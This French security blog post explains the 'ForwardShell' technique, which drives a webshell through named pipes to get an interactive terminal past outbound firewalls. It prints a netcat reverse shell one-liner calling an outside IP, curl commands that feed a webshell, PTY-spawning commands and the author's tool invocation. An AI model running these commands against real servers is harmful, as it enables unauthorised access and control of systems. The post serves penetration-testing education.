ForwardShell
Le shell oublié entre le Reverse, le Bind et le Webshell.
25/01/2026
Disclaimer : Cet outil est destiné à des fins d'audit de sécurité légale et éducatif uniquement. L'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale.
Un peu de contexte
On connait tous les classiques : le Reverse Shell, le Bind Shell, et bien sûr le Webshell. Mais le Forward Shell ? Il est beaucoup plus discret, et pourtant, c'est une technique super intéressante quand on est coincé.
Soyons clairs : je n'ai rien inventé, et il n'y a rien de révolutionnaire ici. J'ai découvert ce concept un peu par hasard en tombant sur un super article de XMCO (je vous conseille d'aller le lire !).
Dans mon cas, je me suis basé sur l'implémentation faite par IppSec et la vidéo de 0xdf. La différence majeure ? La version d'IppSec exploitait la vulnérabilité Shellshock pour établir la connexion. Mon outil, lui, est conçu pour être utilisé une fois que vous avez déjà déposé un webshell classique. Il permet d'interagir avec via des requêtes GET ou POST standard.
Le but de cet article et de ce repo est simplement de faire connaître un peu plus ce type de shell à mon échelle. C'est un concept méconnu mais qui mérite sa place dans votre boîte à outils.
Pourquoi le ForwardShell ?
Le problème des webshells classiques, c'est qu'ils sont stateless. Ainsi chaque commande implique qu'un nouveau shell est créé, ce qui ne permet pas d'exécuter des commandes interactives comme sudo ou encore passwd. Il en va de même pour les variables d'environnement qui ne sont pas persistantes. Bref, c'est frustrant.
La technique du ForwardShell vient un peu régler ça en créant un Named Pipe (FIFO) sur le serveur cible et va permettre, en gros, de faire passer nos commandes via un port déjà ouvert d'un service permettant une RCE. On peut ainsi transformer n'importe quel service permettant une RCE en Forwardshell et obtenir une sorte de session qui ressemble à un vrai terminal.
Mais dans ce cas pourquoi ne pas simplement utiliser un reverse shell ou un bind shell ? Surtout qu'il existe des commandes de reverse shell comme rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 198.51.100.6 4444 >/tmp/f qui font appel au named pipe, donc en quoi créer un Named Pipe dans le cadre d'un forward shell va-t-il avoir un quelconque intérêt par rapport à un simple reverse shell ?
La réponse est simple. Rien ne nous dit que la machine que l'on contacte par le port d'un service ouvert comme le port 80, peut nous contacter en retour sur le port de notre choix. Parfois un simple port miroir fonctionne, donc dans le cas présent ouvrir le port 80 sur notre machine attaquante pour y recevoir un reverse shell. Mais parfois cela ne suffit pas car le firewall interdit tout simplement la machine de nous contacter. Et c'est là où le forwardshell devient vraiment intéressant. Pour bien le comprendre, décortiquons ensemble son fonctionnement.
Fonctionnement détaillé
Ici on va créer notre named pipe in et démarrer la commande tail -f sur ce named pipe :
curl -s "http://127.0.0.1:8000/index.php" --data-urlencode 'cmd=mkfifo /dev/shm/in' | pup pre text{}
curl -s "http://127.0.0.1:8000/index.php" --data-urlencode 'cmd=tail -f /dev/shm/in | sh > /dev/shm/out' | pup pre text{}
La commande tail va être le pilier de toute notre attaque car c'est elle qui va permettre la persistance de notre shell en créant un sous-processus qui récupérera toutes nos commandes. Pour faire simple, tail -f est souvent utilisé pour lire les logs en temps réel car il va permettre d'afficher continuellement les dernières lignes entrées dans un fichier. Un named pipe étant un fichier, cela fonctionne aussi avec le nôtre. Ainsi avec | on va pouvoir envoyer la dernière commande écrite dans le named pipe au shell sh et mettre la réponse dans le fichier out par redirection avec le caractère >.
Ainsi on pourrait déjà commencer à envoyer des commandes à notre named pipe /dev/shm/in mais le souci est que bien que les commandes interactives fonctionneront, nous devrons deviner ce qu'elles attendent en entrée avant sans recevoir la sortie dans le fichier /dev/shm/out. C'est faisable pour une commande comme passwd où on sait que l'on devra entrer le nouveau mot de passe une première fois puis une deuxième fois si on est root, ou notre mot de passe actuel puis deux fois le nouveau mot de passe pour un utilisateur classique :

Et on peut effectivement envoyer la commande passwd suivie de deux fois notre nouveau mot de passe et constater que le sous-processus passwd a disparu :

Ici étant donné que c'est ma machine, il m'est assez simple de tester le mot de passe du root pour voir s'il a bien été modifié, mais on comprend assez vite les limites de ne pas pouvoir voir en temps réel ce qu'il se passe avec notre commande interactive.
C'est ici que les tty interviennent. Ces derniers vont être exécutés comme sous-processus de la commande tail et c'est ainsi que l'on va pouvoir voir via le fichier out ce que l'on tape dans notre tty, nous offrant ainsi un ersatz de shell interactif.
Pour cela, plusieurs options s'offrent à nous, on peut utiliser python s'il est disponible sur la machine avec la commande python3 -c 'import pty; pty.spawn("/bin/bash")' mais il est plus probable de retrouver la commande script sur la machine que la commande python.
Cette commande script permet de base de journaliser un terminal mais ici elle va nous servir à créer un pseudo-terminal (PTY) avec la commande suivante :
curl -s "http://127.0.0.1:8000/index.php" --data-urlencode 'cmd=echo "script /dev/null -c bash" > /dev/shm/in ' | pup pre text{}
Après avoir ouvert le PTY, la commande script va y exécuter un shell ce qui va nous permettre de voir en direct ce qui s’affiche dans le terminal. Ainsi en tapant la commande passwd, et en lui envoyant un mot de passe, on voit cette fois-ci le retour de la commande qui ressemble à s'y méprendre à notre terminal actuel:
curl -s "http://127.0.0.1:8000/index.php" --data-urlencode 'cmd=echo "passwd" > /dev/shm/in' | pup pre text{}
curl -s "http://127.0.0.1:8000/index.php" --data-urlencode 'cmd=cat /dev/shm/out'
L'outil automatisé
Pour rendre cela plus efficient, j'ai conçu à l'aide du POC initial de IppSec, un forwardshell qui peut prendre des paramètres GET et POST et qui propose une fonctionnalité d'upgrade de shell qui fournit ce PTY en fonction des commandes disponibles sur la machine :
python3 forward-shell_get-post.py -u http://127.0.0.1:8000 --upgrade
Les commandes stty -echo et stty rows xx cols xx sont tapées automatiquement pour éviter que le shell ne nous renvoie la commande que l'on vient de taper, et pour adapter la taille du terminal à notre écran.
Depuis tout à l'heure je parle d'un service permettant une RCE car c'est en théorie possible sur n'importe quel service qui permet d'exécuter une RCE et d'en afficher le résultat. Personnellement je ne l'ai fait qu'à travers le service HTTP.
← Retour au blog